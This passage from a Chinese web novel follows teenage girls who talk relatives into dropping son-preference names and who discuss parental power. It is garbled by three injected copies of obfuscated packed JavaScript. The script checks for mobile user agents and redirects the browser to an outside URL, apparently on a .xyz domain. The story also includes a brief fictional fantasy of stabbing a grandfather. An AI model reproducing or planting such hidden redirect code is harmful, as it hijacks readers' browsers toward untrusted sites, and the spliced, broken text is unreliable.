35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14599838|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 慕娣马上说：“我老公不是那样的人，他爱我！我们住在一起，他不舍得我做家务，点外卖给我吃，对我很好，你为什么总是觉得他不好？别对他有偏见，好吗？” 徐凌波不喜欢她对老公的维护：“你刚生了孩子，他照顾你是应该的，点个外卖就收买你了？他应该每天做饭给你吃，那才叫爱你！” 慕娣不高兴：“他要工作，很忙的，哪能在家照顾我？你别说了，凌波，我不想听你议论我的老公。” 徐凌波：“那你别提他，我不想听你一口一个老公。” 慕娣妥协了：“好吧，他对我真的很好，你应该相信我。” 徐凌波：“看看你，你又提他。” 崔皓月无意介入姐妹俩的争执，将改名的详细过程公布在群里，了却了一桩心事。 她看得出，慕娣沉浸在爱情和婚姻的甜蜜中，连徐凌波说半句不是都不行。自己与慕娣久不来往，若非说服徐凌波一同劝说慕娣改名，恐怕慕娣理都不想理会她。 毕竟，她是“出卖自己换钱”的坏女人。 徐凌波私聊她：“以后你谈恋爱，会不会重视男人胜过我？我敢保证，我不会！” 这会儿崔皓月坐在电脑前，徐凌波的话让她想了一下，她回答：“我有很多事情要做，暂时没有谈恋爱的计划。” 将来她会觉得男人比徐凌波重要吗？ 应该不会。 男人享有全世界的优待，霸占着人类大部分的财富，令婷婷、慕娣这种名字存在，令粉红税收割女人…… 性别之所以不平等，妈妈之所以不爱她，慕娣之所以与徐凌波争执，皆与男人息息相关。 人怎么能爱上压迫自己的人？ 她如何能无视自己受过的痛苦，跟男人谈恋爱？ “……索性我单身到老得了，这辈子都不用给别人做菜洗碗，也挺好。” 班主任陈若龙说过的话在脑海中回响，过年时她、她妈妈、奶奶等女人忙碌，她爸、她叔叔等男人们翘着二郎腿抽烟聊天的画面随之浮现，崔皓月心里立刻有了答案。 她只愿意为自己做家务，只愿意为自己做饭、为自己洗碗！ 于是，她告诉徐凌波：“我不会结婚，不会谈恋爱，对我来说，没有一个男人能比你更重要！” 但徐凌波不接受：“你有爸爸的哎！[害羞]原来我对你那么重要！我好开心！” 崔皓月微笑着打开分享日常琐事的网页，在手机上回复：“包括我爸爸。他不爱我，不准我高考，逼我嫁给大9岁的男人！我厌恶他，他不可能比你重要。” 徐凌波：“你太可怜了，你难过的时候我不能陪伴你，我确实要跟你道歉。皓月，对不起，我不应该误会你，不应该躲避你！我应该支持你，帮助你！我会跟我妈讲清楚你的遭遇，不让她继续误会你！” 在那个晚上，那个哭着逃离奶奶的寒冷秋夜，崔皓月承认，她想过和她闹翻的徐凌波。 徐凌波在镇上有新家，她知道徐凌波的新家在哪里，可她没有找徐凌波。 当时得不到的可怜，现在她已经不需要了。 淡淡地看着徐凌波的发言，崔皓月没有任何解释的念头，任由她感动，任由她误会自己看重她。反正自己说的是真话，不是吗？ 崔皓月回：“谢谢你帮我澄清。” 将手机反扣在桌子上，崔皓月不太熟练地打字，向所有网友分享自己改名的经历。 曾经，她受益于别人分享的人生经验。 现在，该轮到别人因她分享的人生经验而受益了。 帖子发表完毕，崔皓月受到系统的提醒： 【叮！你采取更好的方法解决本次特殊事件，你获得200积分奖励】 接下来的时间里，有人浏览帖子，有人询问改名细节，有人默默收藏帖子，也有人指责她把父母想得太坏，说婷婷不是停止生女儿的意思…… 崔皓月回复那个维护她父母的网友：“你觉得婷婷好，你改名叫婷婷吧。你觉得我的父母好，你去孝顺他们吧。不要说得出做不到，如果做不到，那就不要说。” 她为询问细节的人解答。 【叮！你分享的改名经验让林招娣下定决心改名，你获得100积分奖励】 突然出现的提示让崔皓月愣了愣。 林招娣是谁？网友？她真的帮助了一位陌生的女性网友？ 这未免太让人兴奋了！系统的实时反馈肯定不会错，她真的获得了100积分，她真的帮助了一位想改名的陌生女网友！ 崔皓月笑了出来，喃喃说道：“太好了！太好了！我的帖子没有白发！”为自己鼓气，“我超厉害！” 47.权力下位者 好消息应该分享给好朋友！ 崔皓月把帖子发到三人聊天群里：“我刚才劝说我的童年小伙伴改名，以后她应该不会叫慕娣了。” 打出慕娣的拼音，她忽然发现，慕娣的谐音是“墓地”。 慕娣的老公对谐音表现得那么敏感，不许女儿起名庄梦蝶、徐梦蝶，他难道没有意识到慕娣的谐音不吉利？ 陆晨曦：“都什么年代了，还有人叫慕娣？墓地？哦，我的天呐，她爸妈给她起这样的名，难道她是仇人的孩子？” 连不认识慕娣的陆晨曦，都第一时间发现慕娣这个名是多么的恶毒。 崔皓月抿唇，为自己今时今日才注意到慕娣谐音墓地而愧疚。 旋即，她又想，她已经劝说慕娣改名，不必感到愧疚。 该心生愧疚的是慕娣的父母，他们竟然给女儿起名慕娣！该心生愧疚的是慕娣的长辈，他们竟然容许慕娣的父母给女儿起名慕娣！ “有什么好稀奇的？”晏北回却是不以为意，“我爷爷给我的大姑起名来娣，我出生那会，我爷爷还想给我起名叫盼弟，幸好我的爸爸妈妈不同意，不然我肯定改名！” “现在是2025年！二十一世纪都过了四分之一了！慕娣这种名字应该彻底消失才对！”陆晨曦不满地说，“上世纪的封建余孽居然还没死！想到我正在跟他们呼吸着同样的空气，我就觉得恶心！” “别这样说，我爷爷对我还是可以的，虽然他每年过年给我弟弟的红包更大。”晏北回下意识反驳，“我小时候发过高烧，要不是爷爷及时送我去医院，我可能会烧成傻子。” 陆晨曦：“？所以你愿意叫盼弟？” 晏北回：“当然不！我只是想告诉你，人性很复杂，不要随便给人打标签。” 不仅是陆晨曦，崔皓月也觉得晏北回此时的发言不妥，提醒道：“我们讨论的是你爷爷打算叫你盼弟，不是你爷爷对你好不好。” 陆晨曦：“你爷爷对你再好，也改不了他要给你起名盼弟的事实！北回，人性复杂并不是容忍恶行的理由。你体谅你爷爷，谁体谅你？” 崔皓月赞同：“孩子发烧，是个正常人都会把孩子送去医院。在我看来，这不是值得颂扬的好。” 被两个好朋友反对，晏北回觉得委屈。 她忍不住想：皓月和晨曦总是一唱一和，那么默契，是不是瞒着她建了小群？ 而且，作为好朋友，陆晨曦应该体谅她，考虑她的感受。 结果呢？ 陆晨曦丝毫不给她面子，一开口就把她的爷爷打成了封建余孽！ 爷爷是封建余孽，她是什么？封建余孽的孙女？ 感觉自己被陆晨曦骂了，崔皓月还是帮凶。晏北回关闭手机，这会儿她正在下楼，想到稍后要跟陆晨曦逛街，便有一种回家的冲动，不乐意赴约。 高考结束了，放暑假了，大家应该开开心心地商量去哪里旅游才对。 为什么陆晨曦老是挑她的刺，一会儿说她像伺候人的丫鬟，一会把她打成封建余孽？ 陆晨曦这么能挑刺，怎么光挑她的，不挑崔皓月的？ 哦，崔皓月是陆晨曦的狗腿子，得依靠陆晨曦的妈妈出钱资助才能上大学，不然学费都交不起，岂敢拂逆金主陆晨曦？ 阴暗的念头在脑海里涌动，晏北回紧紧攥着手机，控制不住发散的恶意。 越想她越难受，为自己竭尽全力也得不到两位好朋友的认可难过，为自己不光明甚至恶毒的想法难过。 阳光穿过窗户照进狭小的楼梯间。 许是光线太过明亮，她的眼睛有些酸涩，揉了揉，手指沾了点点湿痕，是泪水。她吸了一下鼻子，退到阴影里。 校运会那天，陆晨曦跟她说的那些话，是真的还是哄骗她的？ 晏北回无法判断。 若是真的，何以陆晨曦今天在群里的发言对她充满不满？ 若是假的…… 想到陆晨曦骗她这个可能，晏北回咬住下唇。 陆晨曦是一个骄傲的人，不屑于欺骗她。 所以，全是她的错吗？ 陆晨曦和崔皓月是正确的，只有她错了？ 靠着冰凉的墙壁，晏北回打开手机看群聊，发现陆晨曦@她：“你爷爷害得你大姑叫了半辈子来娣，你也是差点被叫盼弟的人，为何不能同情一下可怜的大姑，反而为害了大姑又差点害了你的爷爷找补？” 是啊，为什么她不同情大姑？为什么她非要证明发红包都区别对待的爷爷关心她？ 该死的手指！打字那么快！ 该死的大脑！完全不思考！ 上次闹出绝交也是因为她一时冲动，发表了不合适的言论，伤了陆晨曦的心。 到底要到什么时候，她才能改掉发言不过脑的性格？ 晏北回一边反思，一边摇摆不定。 没错，她冲动，可陆晨曦和崔皓月就像搞文字狱，动辄质疑她的发言，她们是不是太过敏感？ 人非圣贤，孰能无过。 说错话是很正常的事情，她不是谨慎小心的人，她们为什么不能对她宽容一点？ 崔皓月也在@她：“我妈叫李金凤，晨曦的妈妈叫陆鸿，我们班主任叫陈若龙，这些都是正常的名字，她们都和你大姑差不了几岁。北回，你大姑也应该有个好寓意的名字，不能像我、像慕娣那样从出生就背负着父母对弟弟的期望。” 陆晨曦：“北回，如果我是你，我会劝大姑改名。至于你爷爷，虽然他是你和你大姑的亲人，但他给你们起名的时候，只盼着你爸爸和你弟弟早点出生。至于你和你大姑的感受，你爷爷不在乎，一丁点也不考虑。” 崔皓月：“血缘和亲情是两回事。我妈十月怀胎生下我，然而她不爱我，她恨我。你爷爷爱你吗？他如果爱你，他会给你封很大的红包，绝不会给你起盼弟这种名字。” 是爷爷的错——晏北回解读出好朋友的意思。 她将聊天内容往上翻，看到崔皓月分享的改名帖子，点进去看。 在帖子里，崔皓月没有提到小伙伴慕娣，只是简单说明婷婷的含义，列出改名需要准备的东西和步骤。 被妈妈起名婷婷很痛苦吗？ 崔皓月没有说，她也没有问过。 改了名的崔皓月，惦记着没改名的童年小伙伴，她呢？ 她没思考过大姑为何叫来娣，她习惯了大姑叫来娣的事实，在两位小伙伴提醒她之前，她不曾产生过劝说大姑别叫来娣的念头。 大姑叫了大半辈子来娣，会难受吗？ 晏北回忽然想知道，爷爷害得大姑当了那么久来娣，大姑会不会委屈。 爷爷有文化，写得一手漂亮的钢笔字，毛笔字也很好看，他给她爸爸起的名不俗套，给她弟弟起名也不难听。 偏偏他给大姑起了来娣这种名字，小姑的名字同样敷衍了事，叫什么来妹。 生下崔皓月的妈妈不爱她，养大两位姑姑的爷爷爱不爱两位姑姑？ 如果爱，两位姑姑根本不会叫来娣、来妹！她们会有美好的名，不会年纪轻轻便去大城市打工，不会连拼音打字法都不会，只能手写或语音输入！ 可是，如果不爱，为什么爷爷生病住院，两位姑姑宁可耽误工作也要照顾爷爷？ 反观她爸爸，只是去医院看一下，根本不照顾爷爷。 晏北回陡然想起陆晨曦不久前的发言，男人尊贵，是老爷少爷，伺候人的工作哪里轮得到他们去做？ 爷爷有两位姑姑轮流照顾，女人都比较细心，她爸爸当然不会掺和进来。 家里的活她和妈妈做了，爸爸和弟弟没活做，可不悠闲得很。 在宿舍、在教室，所有同学轮流搞清洁，谁都逃不掉卫生委员的安排，包括卫生委员自己，所以她干活时没有怨言。 到了家里，凭什么家务是妈妈和她做？ 爸爸会赚钱所以了不起？明明妈妈也赚钱！ 弟弟是男孩所以有特权？现在是提倡男女平等的2025年，不是封建旧社会！ 晏北回承认陆晨曦的话有道理。 她爷爷是上世纪残留的封建余孽，他既不爱两位姑姑，也不爱她。 摘下对爷爷的滤镜，晏北回想起她和爷爷相处的不愉快。 有一年夏天，她和弟弟想吃雪糕，弟弟缠着爷爷买，她看着，不敢跟爷爷撒娇。爷爷耐不住弟弟纠缠，买了一根雪糕给他，她眼巴巴地看爷爷，小声说自己也想吃。 爷爷没有给她买。 是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612042|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没听到还是装作没听到呢？ 那段时间，电视机新闻上播放一则新闻，有个男孩问爷爷要钱给游戏充值，爷爷不给，被男孩一刀捅死。 没有雪糕吃的晏北回，拿着水果刀给苹果削皮，看到爷爷倒水喝，就想起他的偏心和吝啬，想一刀捅进他的心。 他应该不会防备她。 后来，她偷过爷爷的钱，拿去充/q/币，拿去充值游戏，拿去买文具，买小饰品，被爷爷发现了。 她被全家人批评。 但弟弟也偷钱，有空就拿着妈妈的手机玩游戏，花了几千元才被妈妈发现。 偷爷爷的那点钱不过小打小闹罢了，晏北回并不放在心上。 不过，偷钱会被发现，她无师自通地学会骗。 说学校的老师要买课外书，说肚子疼要花钱看病，说同学请自己去做客，自己跑到网吧玩通宵，她在凌晨两点悄悄出门吃肯德基，在上课时请病假去逛商场…… 大人不能满足她的要求，她想办法满足自己有什么错呢？ 随着思考的渐渐深入，晏北回自己都不理解，她为什么要维护爷爷？ 他不值得。 两位好朋友学习成绩更好，肯定比她聪明，她在群里请教她们：“我知道爷爷给我的红包不如给弟弟的大，可我看到晨曦说他是封建余孽，我不高兴，感觉自己受到冒犯。” 陆晨曦：“家丑不可外扬？” 崔皓月的发言稍慢：“我看过一篇文章，作者像我一样发现妈妈不爱她，她很痛苦，却深爱着妈妈，生活十分煎熬。你对你爷爷应该是类似的心理。” 哈？她爱爷爷？ 晏北回忍不住笑，回道：“爷爷见到我没有好脸色，我不喜欢他。” 陆晨曦发了一张截图，内容正是她刚才维护爷爷的话，配文：“我不喜欢他，可是我看到别人说他不好，我必须举例证明他很好。” 晏北回恼怒地跺脚，快速打字：“我犯傻我承认！我真的不喜欢他！你们脑子好，快帮我分析一下我的言行，我不想犯傻了！我知道我不聪明，求求你们把道理掰碎了讲给我听，不然我不懂！我真的不懂！不要高看我！对我宽容一点！求求了！” 陆晨曦：“太长，不看！” 陆晨曦：“感叹号太多，吵到我的眼睛了。” 好在崔皓月依然认真严肃，给出自己的解答：“我大概明白你的想法，我和奶奶决裂后，她给我二十块，我竟然想跟她和好。为什么我会这样？我想了很久，大约是我盼望着得到她的认可，得到她的爱，哪怕她给我的爱只有一点点，我也像扑火的飞蛾那样被她吸引。” 火是光明的，是温暖的，火是毁灭。 剖析自己和奶奶的相处过程，崔皓月说出思考结论：“长辈和孩子完全不平等。孩子心智不成熟，没有经济来源，为了让长辈照顾自己、对自己好，她必须讨好长辈，努力达成长辈对自己的期望。如果长辈对她不好，她会想，是不是她表现不好让长辈失望？因为她处在权力下位，无法改变居于权力上位的长辈，只能改变自己，博取权力上位者的怜惜。” 在家庭中，权力源于暴力，成年人力气更大，能轻易地压制小孩。 权力源于经验，成年人更早出生，更熟悉世界的运转规律，孩子什么都不懂，什么都要学习。 权力源于金钱，成年人能赚钱，青少年没有收入，为了获得钱，只能服从长辈的安排。 权力亦源于习惯，孩子从小便听长辈的话，长大后也将长辈视作权威，见到长辈便矮一截，以为自己仍是权力下位者，习惯性地讨好上位者。 那么，习惯是如何形成的呢？ 崔皓月知道，习惯是一次次重复的言行，是渐渐失去的思考。 人如果不思考为什么，不质疑凭什么，便会被愚弄，继而被利用，甚至被践踏。 三人小群里，晏北回说：“你讲的有点复杂。” 陆晨曦帮她概括：“坏人做了一点好事，大家会感慨他良心未泯。你懂吧？你爷爷对你很不好，所以他偶尔善待你，你就受宠若惊，对他感恩戴德，要做个孝顺他的好孙女。” 晏北回：“我明白了！我被我爷爷PUA了！老登害我！我现在就找我大姑，劝她赶紧改名！” 48.老而不死是为贼 看着两位好朋友的发言，崔皓月不由得说：“晨曦，下次不要给北回做阅读理解，让她自己做。她需要的，是自己的思考，而不是别人的思考结果。北回，你也是，你不能让别人替你思考，你要学会自己思考，不然你没法真正地明白一个道理。” 陆晨曦茫然：“啊？” 晏北回把崔皓月的话仔细看了两遍，深以为然：“你讲得对，我需要思考！我也需要你们给予的启发！” 如果崔皓月和陆晨曦不提醒她，她不会知道爷爷不爱她和两位姑姑，不会意识到大姑叫了那么多年来娣是多么可怜。 但，就算她们好心提醒她，她也不能立刻理解立刻接受，反而怀疑她们在故意针对她，感觉自己受到了排斥。 这是书上说的忠言逆耳利于行吗？ 照进楼梯间的阳光依然明亮，晏北回的眼睛渐渐习惯这种亮度，不再感到酸涩刺痛。此时，她的心情恢复平静，那些恶意的念头都平息下来，淹没在万千思绪的汪洋中。 别人的道理再好，说得再多，也得她自己想通。 如果她想不通，天大的道理都是她不乐意听的废话。 想到这里，晏北回隐约明白了校运会那天陆晨曦跟她说的话是什么意思。 始于相处的友情联系并不紧密，因为她能和很多人友好共处，却不可能跟每个人交心。 相处出来的朋友，失去了或许会难过几天，可下一个朋友没准更好相处。 而交心的朋友，她会为她们的不认可患得患失，委屈难受。当她得到她们的认可，她的快乐亦发自内心，她能理解她们的不满，她为自己终于能理解她们的想法感到由衷的高兴。 陆晨曦说友情要互相欣赏，互相认同，晏北回赞同她。 现在，晏北回知道自己欣赏两位好朋友，对她们的认同尚且不足。 反过来，她们对自己的欣赏和认同达到何种层次？ 欣赏应该是有的，否则她们不会维持这段关系。 晏北回理智地判断着。 认同大概不多，在爷爷对她好不好、做家务这两件事上，陆晨曦明确表达了与她相反的意见，崔皓月的反对相对委婉些。 不过，她们盼着她过得更好的心是一样的。 这时，陆晨曦说：“不是吧北回，你看不懂皓月分析家庭权力那段话？你的理解能力没那么差吧？” 智商遭到好朋友的质疑，晏北回不干了：“我看得懂！文言文我都看得懂，我怎么会理解不了皓月表达的意思！” 陆晨曦：“[笑]那就用你的话把皓月的意思简单地复述一遍。” 晏北回：“……” 晏北回又气又好笑：“你这是‘我考考你’吗？陆晨曦，爹味别太重，很恶心。” 陆晨曦发了一段笑声的语音，配文字：“不要用‘爹味’羞辱我，我是女的，不是男的。快点复述意思，不要让我对你的理解能力产生错误的认识！” 崔皓月：“抱歉，我的表达能力可能不太好，让北回难以理解。” 陆晨曦：“不要反思，我感觉你的表达能力没毛病，你给北回一个解读你观点的机会。” 于是崔皓月说：“好。” 晏北回感觉不好：“喂，高考都结束了，还要我做阅读理解是几个意思啊？稍等，我这就解读，我的理解能力绝对没有问题！” 一边抱怨，她一边看崔皓月的发言。 崔皓月说对了，她和爷爷的关系一点都不平等。 爷爷给弟弟买雪糕，不给她买，她觉得自己不够乖巧听话，爷爷才会冷落她。 大家都这样说，小孩子要乖，要听话懂事，不能老是让家长操心。弟弟拿的红包更大，因为弟弟比她好，她不好，所以她被区别对待。 她要向弟弟学习，要做个好孩子，不能被别人家的孩子比下去。 为什么大家都不说家长要平等对待孩子，互相攀比谁家爷爷对孙女更好？ 因为比不起？ 晏北回想到陆晨曦的妈妈，那么忙那么会赚钱的企业家，仍然记得订花束祝贺女儿在校运会中取得优秀成绩。可是她妈妈，她晏北回的妈妈，没人家会赚钱，没人家忙，只关心校运会有没有影响她学习。 简直要被陆妈妈对比到尘埃里！ 至于她爷爷，他真的拿不出买雪糕的钱吗？ 不是的，他完全买得起！ 他更没有耳聋，他只是不想给她这个孙女花钱罢了。 在他看来，她就算叫晏北回，她也是卑贱的盼弟。他认为她不配吃两块钱的雪糕，不配拿到跟她弟弟一样大的红包，不配他对她露出好脸色。 哦！爷爷为什么不要求她爸爸照顾住院的他？ 因为伺候人这种事很下贱，爷爷怎么舍得他的宝贝儿子为他忙前忙后？ 儿子要工作，要赚钱，事业万万不能耽误。 反观来娣来妹，她们确实要工作赚钱，可她们是女的，事业不重要。爸爸生病住院，做女儿的不去医院照顾，难道要当个不孝顺的孽障？ 人们会说，那样冷血无情的女儿，生下她不如生块叉烧。 还有，爸爸给女儿起名来娣就是对女儿很差吗？是，他是给女儿起名来娣，但他不也好好地将女儿养育成人了？生养之恩重如山，孩子要时刻铭记于心，懂得感恩，绝不能做忤逆父母的白眼狼。 爷爷和孙女也是同样的道理。 她爷爷给她的红包是不如给她弟弟的大，可爷爷看到她发高烧，不是将她送去医院看病了吗？ 要是没有爷爷，她现在会是一个傻子。 她爷爷对她多好啊！ 别看爷爷连两块钱的雪糕都不舍得买给她吃，她生病了爷爷还是很关心她的。 呸！这种鬼话谁信谁傻！ 平时对她不好的爷爷，难道会在她生病时变成关心她的人？不可能的！ 她发烧，都快烧成傻子了，她爷爷才送她去看病，这爷爷究竟有多失职可见一斑！ 幸好两位好朋友提醒她，不然她这会儿还像个傻子一样觉得爷爷对她好，以后指不定心甘情愿地为这老登付出金钱和精力…… 光是想到那种可能，晏北回便不寒而栗。 一个连两块钱雪糕都不舍得给孙女买的臭老登，靠着PUA窃取孙女的孝顺，何其恶毒！ 他这种封建余孽，应该早死早超生！对，他活得够久了，咋还不去死？ 晏北回想了很多，准备告诉两位好朋友时，她发现总结思考结果是一件困难的事情，要怎么说呢？要从哪里说起？ 可恶啊！她竟然毫无头绪！ 该死！从一年级开始学语文，学了十二年也没学到语文的精髓，她没救了！ 晏北回输入：“我开始担忧我的高考语文成绩。” 崔皓月：“为什么？” 表达能力堪忧，晏北回哭丧着脸下楼，眼睛看着楼梯，大脑思考着怎么总结语言，差点因为心不在焉摔跤。 到了楼下，她在群里说：“我下楼了，准备跟晨曦会合。皓月的话我懂，我怀疑我小时候发烧，爷爷送我去医院这件事没那么简单，我打算问一下我妈。” 陆晨曦：“我们不差这点时间，你先复述。” 崔皓月：“[期待]” 晏北回头疼，只得说：“皓月的意思很简单，大人是权力上位者，他们天天PUA我们，要我们听话，老是拿我们跟别人比较，想把我们塑造成他们期待的模样。我们……好吧，只有我，被大人PUA傻了，只记得爷爷的好，不记得爷爷对我有多坏，我实在愚蠢！” 没有人愿意承认自己愚蠢，晏北回补充：“我爷爷太狡猾了！那句话怎么说来着？老而不死，是为贼也！我太年轻，斗不过老贼，这不是我的错！我不愚蠢，等我到了他的年纪，我绝对能把他按在地上摩擦！” 崔皓月：“不是只有你，我也差点上了我爸妈的当。” 陆晨曦：“你们两个都有点惨了，我很同情。这样吧，晚饭我请客，别做饭了，我们仨去酒楼吃大餐！” 谈到吃的，晏北回可不会跟她客气：“吃龙虾？还是吃鲍鱼？我没吃过西餐，能吃西餐吗？可是我不会西餐礼仪，感觉吃西餐会被嘲笑。” 崔皓月：“我都行。西餐我也没有吃过，可以试试。我觉得吃饭不必过于看重礼仪，重要的是把食物吃进肚子。” 陆晨曦：“那就吃西餐。皓月的想法很对，西餐也是餐，吃了就吃了，谁会管你礼仪对不对啊？” 晏北回：“我要回家换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14636903|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣服吗？听说西餐厅吃饭要穿正装。” 陆晨曦：“想笑死我就说，吃个饭而已，它配得着你特地为它换衣服？” 晏北回也笑了：“我不懂嘛，好晨曦，体谅体谅我这个穷人，我只在电视剧里见过别人吃西餐，老可怜了。” 崔皓月：“下次再来我家做客吧，我几点出去找你们？吃饭的西餐厅在哪？” 天大地大，吃饭最大，晏北回想着自己要做的事。 先去买泳衣，再去吃西餐，晚上学游泳。 劝说大姑改名、询问妈妈自己小时候发烧的经过暂时不着急，她得思考一下措辞，不能一开口就让大姑改名，她得让大姑认真思考改名的可行性，产生改名的决心，而不是把她劝改名的话当成儿戏。 等等，崔皓月是怎么劝说童年小伙伴改名的？崔皓月没说，她可不能不问！ 晏北回连忙在群里询问，方知晓崔皓月拉拢了一位盟友，那她呢？ 她想了一圈，根本找不到合适的盟友。 崔皓月建议她：“让你大姑看一下我发的帖子，试探她的想法。你劝她改名是出于好意，但你大姑未必接受，你只能劝，是否改名还得由你大姑自己决定。” 晏北回：“我明白了，我先把帖子发给她看。” 大姑白天要上班，无法立刻回复。 到了傍晚，三个好朋友在西餐厅碰头，准备点菜，晏北回的大姑才给她发来回复：“怎么了？高考昨天结束了吧？你考得怎样？” “我感觉我考得还行，行不行还得等成绩出来。”晏北回不敢把话说得太满，她拍了菜单给大姑看，“我的好朋友请我来西餐厅吃饭！我超高兴的！” “迪丽舍餐厅？”大姑在县城生活，当然知道这家西餐厅，“吃一顿饭很贵吧？你的好朋友是女孩子吗？” 怀疑晏北回跟男孩约会。 像迪丽舍这种开在国际大酒店里的西餐厅，大姑自己都没有来吃过饭。 晏北回猜得到大姑的担忧，马上拍了自己和两位好朋友的合照安大姑的心：“她们都是我最好的朋友，学习成绩非常好，都是学霸！我左边的女孩是皓月，她从前叫婷婷，婷婷是停止生女儿的意思，她妈妈不想要她，想要个男孩……” 大姑：“挺可怜的，幸亏这孩子争气，不然……唉！有的人确实不疼女儿，只喜欢儿子。” 有戏！大姑同情被起名婷婷的崔皓月！ 劝说大姑改名说不定能成功！ 晏北回受到了鼓励，即刻讲述崔皓月劝慕娣改名的事，向大姑表明自己的担忧：“慕娣改名了，我想到你叫了那么久来娣，我便心疼你，我觉得你也要改一个好寓意的名字！” 如果可以选，谁会愿意做来娣呢？ 大姑明显意动，迟疑着说：“我这名字是你爷爷起的，用了大半辈子，都用习惯了，不好改名吧？” “再劝劝，她就会同意！”陆晨曦和崔皓月挨着她看她的手机，一起鼓励她。 晏北回发愁：“这我怎么劝？” 陆晨曦想说点什么，被崔皓月拽了一下，陆晨曦乖乖闭嘴。 崔皓月说：“你自己想，想不出我们再给你参谋。” 晏北回眉头紧皱，在手机上打字：“大姑，现在医学科技那么发达，你肯定能长命百岁！你才三四十岁，人生还没过完一半呢，剩下的几十年总不能叫来娣吧？表妹如果知道来娣的意思，她也会劝你改名。” 大姑说：“我要是改名，你爷爷可能会生气。” 晏北回：“那你要做一辈子来娣吗？爷爷给我起名盼弟，我不要做盼弟，我也不要你做来娣！大姑，当我求你，改名吧！你不改名我会愁得睡不着！” 劝说并不顺利，大姑犹犹豫豫，晏北回受此影响，吃西餐都吃得心事重重。 她不理解大姑的迟疑，名字是自己用的，不喜欢就改，为什么大姑的顾虑那么多？ 崔皓月拍了拍她的肩膀，安慰她：“你已经劝了，改不改名是你大姑的决定，你不要为此忧虑，不要把劝你大姑改名视作自己的责任。” “我不能不忧虑。”晏北回叹气，“改名而已，真的那么难吗？” 忽然，她产生了新的想法：“要不，我说服我爸，让他支持大姑改名？” 49.姐弟 因“来娣”而来的弟弟，会劝说来娣姐姐改名吗？崔皓月不看好晏北回的主意。若是来娣的弟弟关心姐姐，来娣岂会至今没有改名？ 晏北回的爸爸正如她的弟弟，不在意姐姐的生活是否拮据，只会跟姐姐炫耀他的球鞋花了五百多元，炫耀他有多受爸妈宠爱。他理所当然地享受姐姐没有的亲情，享受姐姐没有的物质，像他爸妈那样蔑视姐姐。 她恨他。 来娣也会恨弟弟吧？毕竟弟弟拥有她想要却不能拥有的一切美好事物。 正要开口，崔皓月被陆晨曦轻轻推了一下。 她不解地侧头看向陆晨曦，陆晨曦正在跟晏北回说话：“试试看，你爸爸如果被你说服，你大姑改名肯定会更容易。” “可是……”晏北回一脸犹豫，“我觉得我很难说服我爸爸，他……他不像你妈妈那样开明。” “不试试你怎么知道他不能被说服呢？万一他了你的话，愿意支持你大姑改名呢？”陆晨曦鼓励好朋友，“说服不了爸爸也没事，好歹你能知道他不是盟友。” “这……”晏北回很是为难。 也不知自己是勇敢还是不想被两位好朋友小看，她迟疑地下了决定：“那，我打电话问一下我爸。” 是找个安静的地方打电话？还是当着两位好朋友的面打电话？ 晏北回感觉自己一个人打电话可能开不了口，便坐在餐桌前拨打爸爸的号码，示意两位好朋友凑近听。 得到她的允许，崔皓月和陆晨曦一左一右地挨着她。 左侧的崔皓月没接触她，身上飘着一股淡淡的沐浴露香气；右侧的陆晨曦伸手揽住她的肩，她能感受到对方的体温和呼吸。 手机那头嘟嘟地响，爸爸还没接通电话。 可是晏北回忐忑的心安定下来，因为两位好朋友给予了她劝说爸爸的勇气和力量。 就算爸爸不接受她的说服，就算大姑不肯改名，两位好朋友始终支持她，她失败了她们都会安慰她。 所以，失败也没有什么大不了的。 “喂？” 电话接通了，晏北回听到爸爸的声音：“北回？” 晏北回点点头：“嗯，我在跟好朋友吃饭，刚吃饱，晚上不回去吃了。” 爸爸问：“怎么打电话给我？” 她熟悉爸爸，爸爸这句话的潜在意思是“老子没钱，别问老子要”，但她打电话给他的目的并不是问他要钱。 清了清嗓子，她正要开口，爸爸说：“我还没下班。” 有话就赶紧说，别妨碍他工作。 听出爸爸的不耐烦，晏北回的唇抿成一条线，下意识地向两位好朋友看去。 崔皓月握住她的手鼓励她勇敢点，陆晨曦对她做出加油的动作。 她又获得了力量，跟爸爸说：“爸，我打电话给你是因为我想到一件事。大姑叫来娣，你不觉得这个名字很奇怪吗？” 爸爸觉得莫名其妙：“哪里奇怪？那是你大姑的名字！不要这样说话！” 晏北回说：“来娣的意思是弟弟快点来。爸，我出生的时候，爷爷要叫我盼弟，你给我起的名字是北回。你觉得盼弟不好听，大姑叫来娣，这个名字也很不好听啊！” 爸爸的声音里透露出不满：“你不懂，不要瞎说！你大姑的名字是你爷爷给起的，你爷爷是你大姑的爸爸，爸爸给女儿起的名好不好，轮不到你评价。” 